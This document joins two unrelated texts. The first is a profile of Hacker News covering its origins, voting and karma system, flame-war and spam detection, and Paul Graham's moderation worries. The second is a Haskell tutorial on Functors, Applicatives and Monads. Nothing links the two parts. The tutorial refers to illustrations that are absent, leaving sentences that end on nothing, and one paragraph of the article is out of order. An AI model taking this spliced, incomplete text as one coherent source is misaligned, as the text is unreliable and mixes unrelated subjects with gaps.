Hacker News was initially built by YC co-founder Paul Graham as a demonstration of Arc, a new programming language he’d been working on. He quickly realized that it could help bring together the companies he was supporting and the rest of the folks who wanted in. With 1.6 million page views and 200,000 unique visitors on a given weekday, it’s now a key part of the venture firm’s success.

But the site quickly took off, as former Redditors flocked to it to talk about tech and startups (the site was then known as Startup News).

Having a big audience isn’t really the goal. In comparison, Hacker News’ inspiration and the first big YC exit, Reddit has seen as much as 4.4 million page views in a given day.

A Community For Ex-Redditors

As Graham explains, as the site started seeing traction immediately, he realized this wasn’t just a way to test Arc. He wanted to make Hacker News a place to recreate the way Reddit felt in the good old days, when most of its community was made up of hackers. As Reddit drew more traffic, the hacker focus of the site evolved. The community’s user base became diluted as it grew, and Hacker News was a new home for some of the early Reddit hackers.

Graham writes in February of 2007:

Reddit used to have a good concentration of startup-related links, but that was because so many of Reddit’s initial users were connected in some way to Y Combinator. Now that Reddit is so much more popular, the top links tend to be images, or videos, or political news.

Another goal of Hacker News, says Graham, was to be a place where founders could share ideas and communicate. In the spirit of Y Combinator’s own incubator, Hacker News was focused on being a community for entrepreneurs and founders in the tech community: a place where they could freely post and where Y Combinator could also get to know potential founders and leaders in the tech world.

“From the beginning we had a real community, and some of the core group of refugees from Reddit are still prominent on Hacker News today,” Graham explains. Part of what attracted many to Hacker News was its simplicity and voting system. The product’s UI, design and color scheme have remained relatively constant over the past six years.

Thomas Ptacek, one of the site’s first users, explains that he was a Flashdot user and then a Reddit user, and flocked to Hacker News (at the time Startup News) because it was more relevant to the technology and startup community. He found Hacker News to be a refreshing change from past forums where the quality of commenting was declining.

Here’s how Hacker News works: Users submit links to stories, and stories are ranked according to a voting system, similar to Reddit. The difference between Hacker News and Reddit, however, is the voting system. While you can vote stories up, you cannot vote stories down (but you can flag stories). According to Graham, 100 upvotes will get a story to the top of the front page of the site. You can only downvote a comment if you have enough “karma” on the site, which is another compelling element of Hacker News. The Karma factor is determined by the number of upvotes on a user’s submission and comments minus the number of downvotes.

In terms of the design, Graham says he wanted Hacker News to look like your list of processes in a terminal window. The look and feel of the site was aimed at hackers themselves who are familiar with tabular data.

Graham will occasionally add new features, some of which are on the backend of the site. For example, as comments get more deeply nested and heated in terms of exchange, the reply link takes longer to appear. There is a purposeful drag implemented on this, says Graham, because deeply nested discussions are rarely interesting.

Another subtle feature addition: a flame-war detector. Graham has been consistently deploying and updating proprietary software that determines whether there is a flame war, where people argue heatedly. When these flame wars take place (which Graham says can often get ugly and personal), the story in which the commenting is taking place is moved further down the page.

Graham has also created sophisticated spam-detection software, which was just updated with new code six months ago. With the update, Graham says that it’s rare for spam to last on the site for more than 10 minutes. If a user does spam the site or engages in personally vicious behaviors, they run the risk of being banned. But in an interesting twist, called “hellbanning,” the user may not actually know they are banned.

On the backend, Hacker News runs on one core, and Graham calls this a “remarkable feat of scaling.”

In terms of human moderation, Graham himself has been spending three to four hours per day simply moderating the site. And that’s in addition to all of his duties running Y Combinator. While a number of other YC alums have moderating abilities, Graham has been the main human element of the site. “It was becoming my life,” he says. Around six months ago, Graham brought on someone else, who he chose not to name, to moderate the site. He says the individual is affiliated with Y Combinator and is a “prudent and thoughtful guy,” and has been doing a great job ever since.

Hacker News has a strong affiliation with Y Combinator, as well. Graham explains that founders usually all create a Hacker News account when they apply, and that user name is the founder’s identity at Y Combinator. Hacker News also features a jobs page that shows any jobs available at Y Combinator companies. He adds that this jobs portal is very useful for Y Combinator, as the majority of the site’s audience is made up of programmers and engineers.

There is also an internal page that is only visible to YC founders that has a list of recent stories about YC startups. And if you are a YC founder, your username will show up in orange to other YC founders to enable these entrepreneurs to recognize and meet each other.

Graham says that Hacker News gets a lot of complaints that it has a bias toward featuring stories about Y Combinator startups, but he says there is no such bias. Instead, the culture at the incubator is to use Hacker News, and with more than 1,000 YC alumni who have graduated from the incubator, many of these founders are still active on the news site and post links to their fellow founders’ launches and news.

“It was a small intellectual village and now it is a giant city.”

Growth has its downside. What keeps Graham up at night is worrying about the dilution of quality of the Hacker News. He explains that the site was community of insiders in the hacker world, and it has gradually been getting diluted. “That is what I spend all my time thinking about,” he says.

He worries that Hacker News will become what he calls “an old crumbling building.”

“The community has been in a perpetual but slow decline because the site is growing,” he says.

Ptacek agrees that the value of Hacker News has changed a bit. “I don’t get a community feel as much, whereas in the beginning it was a small group of people who all know each other,” he says. “It’s less likely now to see the same people from thread to thread.”

One of Graham’s biggest pain points is the “schoolyard quarrels” he finds on the site on a daily basis, and wishes “users would stop misbehaving.” He cites the example of users organizing voting rings to purposefully vote up stories, which caused Graham to develop additional software to detect this. He adds that more users are trolling under newly created accounts, and are deliberately starting flame wars on the site.

“I wish I could get people to stop posting comments that are stupid or mean,” he says. “It takes only one or two negative comments and a discussion turns into a flame war.”

Graham adds that he gets a lot of vitriol from users personally with accusations of bias or censoring. He clarifies that he, and the other human editor, rarely take links down unless they are dupes. Even with tabloid or gossip stories that surface, Graham will not take them down. Users with high karma points tend to flag these stories, he adds, and they can then be taken down.

“Hacker News makes me sad a lot,” says Graham. “I wish the community would behave the way they did when it was a little village.”

Users are noticing Graham’s frustrations. Ptacek says that he observes that Graham is careful not to tell people what to say or think, but it’s clear that he wants people to treat each other better and he gets more sad over time.

Could This Be A Business?

While Graham is open about not wanting to be the next Reddit, it’s hard to ignore the fact that Hacker News could be a business. Reddit is reportedly raising cash at a $400 million valuation. While Hacker News has a fraction of the traffic that Reddit does, the smaller site could actually have an impressive valuation as a business without any funding or employees.

Graham himself uses the site as his primary source of news. He’s even found Y Combinator companies through Hacker News. A user in the community posted a link to Watsi, a non-profit that allows people in dire need of medical care to raise money for procedures and health care. He noticed Watsi the second time it was posted on Hacker News and thought it was an amazing idea. He cold-called the founders and convinced them to be the first ever YC-backed nonprofit. And Graham recently took a first board seat at Watsi, his first board position ever.

But Graham is adamant that Hacker News is not a business and would not become a business. There are no ads on the site, and he has no interest in making money from ads. He admits that through the jobs page he indirectly makes money, as he is an investor in Y Combinator companies and will inevitably profit if the company’s hires help the business. Nor would not be interested in selling the site.

While it’s clear that Graham has his frustrations with the community, when he talks about the site’s defining moments, he sounds like he is speaking about his own child. One of his most distinct memories about the site is the day following Steve Jobs’ death, when every story on the front page was about the Apple founder.

“Users did it collectively as a tribute, and I found this a really remarkable way to show the power of a community. I thought this is really a living, breathing thing. It was like a bunch of birds flying through the sky forming themselves as an S.”

“There are really good reasons to engage with Hacker News,” says Ptacek. “There is no better place to stay engaged with the hacker community…At the end of day it is a message board. Having a place where you can reach and talk to groups of people is an important concept.”

As for the future of Hacker News, it’s clear that Graham is focused on maintaining quality and making sure that the community treats each other with respect and kindness. “I hope that most Hacker News readers know that I am doing this for their sake,” he says.

• Contents
• Functors
• Just What Is A Functor, Really?
• Applicatives
• Monads
• Conclusion

Written April 17, 2013 Updated April 23, 2013

Here’s a simple value:

And we know how to apply a function to this value:

Simple enough. Lets extend this by saying that any value can be in a context. For now you can think of a context as a box that you can put a value in:

Now when you apply a function to this value, you’ll get different results depending on the context. This is the idea that Functors, Applicatives, Monads, Arrows etc are all based on. The Maybe data type defines two related contexts:

data Maybe a = Nothing | Just a

In a second we’ll see how function application is different when something is a Just a versus a Nothing. First let’s talk about Functors!

Functors

When a value is wrapped in a context, you can’t apply a normal function to it:

This is where fmap comes in. fmap is from the street, fmap is hip to contexts. fmap knows how to apply functions to values that are wrapped in a context. For example, suppose you want to apply (+3) to Just 2. Use fmap:

> fmap (+3) (Just 2) Just 5

Bam! fmap shows us how it’s done! But how does fmap know how to apply the function?

Just what is a Functor, really?

Functor is a typeclass. Here’s the definition:

A Functor is any data type that defines how fmap applies to it. Here’s how fmap works:

So we can do this:

> fmap (+3) (Just 2) Just 5

And fmap magically applies this function, because Maybe is a Functor. It specifies how fmap applies to Justs and Nothings:

instance Functor Maybe where fmap func (Just val) = Just (func val) fmap func Nothing = Nothing

Here’s what is happening behind the scenes when we write fmap (+3) (Just 2):

So then you’re like, alright fmap, please apply (+3) to a Nothing?

> fmap (+3) Nothing Nothing

Bill O’Reilly being totally ignorant about the Maybe functor

Like Morpheus in the Matrix, fmap knows just what to do; you start with Nothing, and you end up with Nothing! fmap is zen. Now it makes sense why the Maybe data type exists. For example, here’s how you work with a database record in a language without Maybe:

post = Post.find_by_id(1) if post return post.title else return nil end

But in Haskell:

fmap (getPostTitle) (findPost 1)

If findPost returns a post, we will get the title with getPostTitle. If it returns Nothing, we will return Nothing! Pretty neat, huh? <$> is the infix version of fmap, so you will often see this instead:

getPostTitle <$> (findPost 1)

Here’s another example: what happens when you apply a function to a list?

Lists are functors too! Here’s the definition:

instance Functor [] where fmap = map

Okay, okay, one last example: what happens when you apply a function to another function?

fmap (+3) (+1)

Here’s a function:

Here’s a function applied to another function:

The result is just another function!

> import Control.Applicative > let foo = fmap (+3) (+2) > foo 10 15

So functions are Functors too!

instance Functor ((->) r) where fmap f g = f . g

When you use fmap on a function, you’re just doing function composition!

Applicatives

Applicatives take it to the next level. With an applicative, our values are wrapped in a context, just like Functors:

But our functions are wrapped in a context too!

Yeah. Let that sink in. Applicatives don’t kid around. Control.Applicative defines <*>, which knows how to apply a function wrapped in a context to a value wrapped in a context:

i.e:

Just (+3) <*> Just 2 == Just 5

Using <*> can lead to some interesting situations. For example:

> [(*2), (+3)] <*> [1, 2, 3] [2, 4, 6, 4, 5, 6]

Here’s something you can do with Applicatives that you can’t do with Functors. How do you apply a function that takes two arguments to two wrapped values?

> (+) <$> (Just 5) Just (+5) > Just (+5) <$> (Just 4) ERROR ??? WHAT DOES THIS EVEN MEAN WHY IS THE FUNCTION WRAPPED IN A JUST

Applicatives:

> (+) <$> (Just 5) Just (+5) > Just (+5) <*> (Just 3) Just 8

Applicative pushes Functor aside. “Big boys can use functions with any number of arguments,” it says. “Armed <$> and <*>, I can take any function that expects any number of unwrapped values. Then I pass it all wrapped values, and I get a wrapped value out! AHAHAHAHAH!”

> (*) <$> Just 5 <*> Just 3 Just 15

An applicative watching a functor apply a function

And hey! There’s a function called liftA2 that does the same thing:

> liftA2 (*) (Just 5) (Just 3) Just 15 Monads

How to learn about Monads:

1. Get a PhD in computer science.
2. Throw it away because you don’t need it for this section!

Monads add a new twist.

Functors apply a function to a wrapped value:

Applicatives apply a wrapped function to a wrapped value:

Monads apply a function that returns a wrapped value to a wrapped value. Monads have a function >>= (pronounced “bind”) to do this.

Let’s see an example. Good ol’ Maybe is a monad:

Just a monad hanging out

Suppose half is a function that only works on even numbers:

half x = if even x then Just (x `div` 2) else Nothing

What if we feed it a wrapped value?

We need to use >>= to shove our wrapped value into the function. Here’s a photo of >>=:

Here’s how it works:

> Just 3 >>= half Nothing > Just 4 >>= half Just 2 > Nothing >>= half Nothing

What’s happening inside? Monad is another typeclass. Here’s a partial definition:

class Monad m where (>>=) :: m a -> (a -> m b) -> m b

Where >>= is:

So Maybe is a Monad:

instance Monad Maybe where Nothing >>= func = Nothing Just val >>= func = func val

Here it is in action with a Just 3!

And if you pass in a Nothing it’s even simpler:

You can also chain these calls:

> Just 20 >>= half >>= half >>= half Nothing

Cool stuff! So now we know that Maybe is a Functor, an Applicative, and a Monad.

Now let’s mosey on over to another example: the IO monad:

Specifically three functions. getLine takes no arguments and gets user input:

getLine :: IO String

readFile takes a string (a filename) and returns that file’s contents:

readFile :: FilePath -> IO String

putStrLn takes a string and prints it:

putStrLn :: String -> IO ()

All three functions take a regular value (or no value) and return a wrapped value. We can chain all of these using >>=!

getLine >>= readFile >>= putStrLn

Aw yeah! Front row seats to the monad show!

Haskell also provides us with some syntactical sugar for monads, called do notation:

foo = do filename <- getLine contents <- readFile filename putStrLn contents Conclusion

1. A functor is a data type that implements the Functor typeclass.
2. An applicative is a data type that implements the Applicative typeclass.
3. A monad is a data type that implements the Monad typeclass.
4. A Maybe implements all three, so it is a functor, an applicative, and a monad.

What is the difference between the three?

• functors: you apply a function to a wrapped value using fmap or <$>
• applicatives: you apply a wrapped function to a wrapped value using <*> or liftA
• monads: you apply a function that returns a wrapped value, to a wrapped value using >>= or liftM

So, dear friend (I think we are friends by this point), I think we both agree that monads are easy and a SMART IDEA(tm). Now that you’ve wet your whistle on this guide, why not pull a Mel Gibson and grab the whole bottle. Check out LYAH’s section on Monads. There’s a lot of things I’ve glossed over because Miran does a great job going in-depth with this stuff.

For more drawings, check out Locks, Actors, And STM In Pictures.

Please enable JavaScript to view the comments powered by Disqus.

blog comments powered by